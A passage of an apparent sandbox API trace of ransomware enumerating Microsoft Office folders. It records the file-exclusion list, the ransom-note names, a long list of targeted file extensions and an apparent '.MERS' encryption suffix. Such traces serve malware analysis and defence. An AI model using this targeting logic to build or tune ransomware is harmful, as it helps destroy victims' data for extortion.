(lpString="PAPERS.INI") returned 10 [0263.710] lstrcmpiW (lpString1="boot.ini", lpString2="PAPERS.INI") returned -1 [0263.710] lstrcmpiW (lpString1="bootfont.bin", lpString2="PAPERS.INI") returned -1 [0263.710] lstrcmpiW (lpString1="ntldr", lpString2="PAPERS.INI") returned -1 [0263.710] lstrcmpiW (lpString1="ntdetect.com", lpString2="PAPERS.INI") returned -1 [0263.710] lstrcmpiW (lpString1="io.sys", lpString2="PAPERS.INI") returned -1 [0263.710] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="PAPERS.INI") returned 1 [0263.710] lstrcmpiW (lpString1="Info.hta", lpString2="PAPERS.INI") returned -1 [0263.710] lstrcmpiW (lpString1="chrome64b.exe", lpString2="PAPERS.INI") returned -1 [0263.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI") returned 67 [0263.710] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3bb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR10F.GIF", cAlternateFileName="")) returned 1 [0263.710] lstrlenW (lpString="PDIR10F.GIF") returned 11 [0263.710] lstrlenW (lpString=".1cd") returned 4 [0263.710] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0263.710] lstrlenW (lpString=".3ds") returned 4 [0263.710] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0263.710] lstrlenW (lpString=".3fr") returned 4 [0263.710] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0263.711] lstrlenW (lpString=".3g2") returned 4 [0263.711] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0263.711] lstrlenW (lpString=".3gp") returned 4 [0263.711] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0263.711] lstrlenW (lpString=".7z") returned 3 [0263.711] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0263.711] lstrlenW (lpString=".accda") returned 6 [0263.711] lstrcmpiW (lpString1=".accda", lpString2="0F.GIF") returned -1 [0263.711] lstrlenW (lpString=".accdb") returned 6 [0263.711] lstrcmpiW (lpString1=".accdb", lpString2="0F.GIF") returned -1 [0263.711] lstrlenW (lpString=".accdc") returned 6 [0263.711] lstrcmpiW (lpString1=".accdc", lpString2="0F.GIF") returned -1 [0263.711] lstrlenW (lpString=".accde") returned 6 [0263.711] lstrcmpiW (lpString1=".accde", lpString2="0F.GIF") returned -1 [0263.711] lstrlenW (lpString=".accdt") returned 6 [0263.711] lstrcmpiW (lpString1=".accdt", lpString2="0F.GIF") returned -1 [0263.711] lstrlenW (lpString=".accdw") returned 6 [0263.711] lstrcmpiW (lpString1=".accdw", lpString2="0F.GIF") returned -1 [0263.711] lstrlenW (lpString=".adb") returned 4 [0263.711] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0263.711] lstrlenW (lpString=".adp") returned 4 [0263.711] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0263.711] lstrlenW (lpString=".ai") returned 3 [0263.711] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0263.711] lstrlenW (lpString=".ai3") returned 4 [0263.711] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0263.711] lstrlenW (lpString=".ai4") returned 4 [0263.711] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0263.711] lstrlenW (lpString=".ai5") returned 4 [0263.711] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0263.711] lstrlenW (lpString=".ai6") returned 4 [0263.711] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0263.711] lstrlenW (lpString=".ai7") returned 4 [0263.711] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0263.711] lstrlenW (lpString=".ai8") returned 4 [0263.712] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".anim") returned 5 [0263.712] lstrcmpiW (lpString1=".anim", lpString2="F.GIF") returned -1 [0263.712] lstrlenW (lpString=".arw") returned 4 [0263.712] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".as") returned 3 [0263.712] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0263.712] lstrlenW (lpString=".asa") returned 4 [0263.712] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".asc") returned 4 [0263.712] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".ascx") returned 5 [0263.712] lstrcmpiW (lpString1=".ascx", lpString2="F.GIF") returned -1 [0263.712] lstrlenW (lpString=".asm") returned 4 [0263.712] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".asmx") returned 5 [0263.712] lstrcmpiW (lpString1=".asmx", lpString2="F.GIF") returned -1 [0263.712] lstrlenW (lpString=".asp") returned 4 [0263.712] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".aspx") returned 5 [0263.712] lstrcmpiW (lpString1=".aspx", lpString2="F.GIF") returned -1 [0263.712] lstrlenW (lpString=".asr") returned 4 [0263.712] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".asx") returned 4 [0263.712] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".avi") returned 4 [0263.712] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".avs") returned 4 [0263.712] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".backup") returned 7 [0263.712] lstrcmpiW (lpString1=".backup", lpString2="10F.GIF") returned -1 [0263.712] lstrlenW (lpString=".bak") returned 4 [0263.712] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0263.712] lstrlenW (lpString=".bay") returned 4 [0263.712] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0263.713] lstrlenW (lpString=".bd") returned 3 [0263.713] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0263.713] lstrlenW (lpString=".bin") returned 4 [0263.713] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0263.713] lstrlenW (lpString=".bmp") returned 4 [0263.713] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0263.713] lstrlenW (lpString=".bz2") returned 4 [0263.713] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0263.713] lstrlenW (lpString=".c") returned 2 [0263.713] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0263.713] lstrlenW (lpString=".cdr") returned 4 [0263.713] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0263.713] lstrlenW (lpString=".cer") returned 4 [0263.713] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0263.713] lstrlenW (lpString=".cf") returned 3 [0263.713] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0263.713] lstrlenW (lpString=".cfc") returned 4 [0263.713] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0263.713] lstrlenW (lpString=".cfm") returned 4 [0263.713] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0263.713] lstrlenW (lpString=".cfml") returned 5 [0263.713] lstrcmpiW (lpString1=".cfml", lpString2="F.GIF") returned -1 [0263.713] lstrlenW (lpString=".cfu") returned 4 [0263.713] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".chm") returned 4 [0263.714] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".cin") returned 4 [0263.714] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".class") returned 6 [0263.714] lstrcmpiW (lpString1=".class", lpString2="0F.GIF") returned -1 [0263.714] lstrlenW (lpString=".clx") returned 4 [0263.714] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".config") returned 7 [0263.714] lstrcmpiW (lpString1=".config", lpString2="10F.GIF") returned -1 [0263.714] lstrlenW (lpString=".cpp") returned 4 [0263.714] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".cr2") returned 4 [0263.714] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".crt") returned 4 [0263.714] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".crw") returned 4 [0263.714] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".cs") returned 3 [0263.714] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0263.714] lstrlenW (lpString=".css") returned 4 [0263.714] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".csv") returned 4 [0263.714] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".cub") returned 4 [0263.714] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".dae") returned 4 [0263.714] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0263.714] lstrlenW (lpString=".dat") returned 4 [0263.715] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".db") returned 3 [0263.715] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0263.715] lstrlenW (lpString=".dbf") returned 4 [0263.715] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".dbx") returned 4 [0263.715] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".dc3") returned 4 [0263.715] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".dcm") returned 4 [0263.715] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".dcr") returned 4 [0263.715] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".der") returned 4 [0263.715] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".dib") returned 4 [0263.715] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".dic") returned 4 [0263.715] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".dif") returned 4 [0263.715] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".divx") returned 5 [0263.715] lstrcmpiW (lpString1=".divx", lpString2="F.GIF") returned -1 [0263.715] lstrlenW (lpString=".djvu") returned 5 [0263.715] lstrcmpiW (lpString1=".djvu", lpString2="F.GIF") returned -1 [0263.715] lstrlenW (lpString=".dng") returned 4 [0263.715] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".doc") returned 4 [0263.715] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0263.715] lstrlenW (lpString=".docm") returned 5 [0263.715] lstrcmpiW (lpString1=".docm", lpString2="F.GIF") returned -1 [0263.715] lstrlenW (lpString=".docx") returned 5 [0263.715] lstrcmpiW (lpString1=".docx", lpString2="F.GIF") returned -1 [0263.715] lstrlenW (lpString=".dot") returned 4 [0263.716] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0263.716] lstrlenW (lpString=".dotm") returned 5 [0263.716] lstrcmpiW (lpString1=".dotm", lpString2="F.GIF") returned -1 [0263.716] lstrlenW (lpString=".dotx") returned 5 [0263.716] lstrcmpiW (lpString1=".dotx", lpString2="F.GIF") returned -1 [0263.716] lstrlenW (lpString=".dpx") returned 4 [0263.716] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0263.716] lstrlenW (lpString=".dqy") returned 4 [0263.716] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0263.716] lstrlenW (lpString=".dsn") returned 4 [0263.716] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0263.716] lstrlenW (lpString=".dt") returned 3 [0263.716] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0263.716] lstrlenW (lpString=".dtd") returned 4 [0263.716] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0263.716] lstrlenW (lpString=".dwg") returned 4 [0263.716] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0263.716] lstrlenW (lpString=".dwt") returned 4 [0263.716] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0263.716] lstrlenW (lpString=".dx") returned 3 [0263.716] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0263.716] lstrlenW (lpString=".dxf") returned 4 [0263.716] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0263.716] lstrlenW (lpString=".edml") returned 5 [0263.716] lstrcmpiW (lpString1=".edml", lpString2="F.GIF") returned -1 [0263.716] lstrlenW (lpString=".efd") returned 4 [0263.716] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0263.716] lstrlenW (lpString=".elf") returned 4 [0263.716] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0263.716] lstrlenW (lpString=".emf") returned 4 [0263.716] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".emz") returned 4 [0263.717] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".epf") returned 4 [0263.717] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".eps") returned 4 [0263.717] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".epsf") returned 5 [0263.717] lstrcmpiW (lpString1=".epsf", lpString2="F.GIF") returned -1 [0263.717] lstrlenW (lpString=".epsp") returned 5 [0263.717] lstrcmpiW (lpString1=".epsp", lpString2="F.GIF") returned -1 [0263.717] lstrlenW (lpString=".erf") returned 4 [0263.717] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".exr") returned 4 [0263.717] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".f4v") returned 4 [0263.717] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".fido") returned 5 [0263.717] lstrcmpiW (lpString1=".fido", lpString2="F.GIF") returned -1 [0263.717] lstrlenW (lpString=".flm") returned 4 [0263.717] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".flv") returned 4 [0263.717] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".frm") returned 4 [0263.717] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".fxg") returned 4 [0263.717] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".geo") returned 4 [0263.717] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0263.717] lstrlenW (lpString=".gif") returned 4 [0263.717] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0263.717] lstrlenW (lpString="PDIR10F.GIF") returned 11 [0263.717] lstrlenW (lpString=".MERS") returned 5 [0263.717] lstrcmpiW (lpString1=".MERS", lpString2="F.GIF") returned -1 [0263.717] lstrlenW (lpString="PDIR10F.GIF") returned 11 [0263.720] RtlpDeCommitFreeBlock () [0263.721] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87ce900, ftCreationTime.dwHighDateTime=0x1ca9b87, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc87ce900, ftLastWriteTime.dwHighDateTime=0x1ca9b87, nFileSizeHigh=0x0, nFileSizeLow=0x29d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0263.721] lstrlenW (lpString="PUBWZINT.DLL") returned 12 [0263.727] RtlpDeCommitFreeBlock () [0263.727] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x39aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0263.731] RtlpDeCommitFreeBlock () [0263.731] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0xa3380, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1 [0263.733] RtlpDeCommitFreeBlock () [0263.733] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0263.741] RtlpDeCommitFreeBlock () [0263.741] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0263.741] RtlpDeCommitFreeBlock () [0263.741] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0263.754] RtlpDeCommitFreeBlock () [0263.755] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0263.757] RtlpDeCommitFreeBlock () [0263.757] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0263.760] RtlpDeCommitFreeBlock () [0263.760] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0263.764] RtlpDeCommitFreeBlock () [0263.764] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0263.767] RtlpDeCommitFreeBlock () [0263.767] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0263.767] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0263.767] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0263.767] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0263.770] RtlpDeCommitFreeBlock () [0263.770] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0263.776] RtlpDeCommitFreeBlock () [0263.776] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0263.832] RtlpDeCommitFreeBlock () [0263.832] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0264.089] RtlpDeCommitFreeBlock () [0264.090] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0264.090] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0264.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0264.090] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0264.090] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0264.090] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0264.090] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0264.101] RtlpDeCommitFreeBlock () [0264.101] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 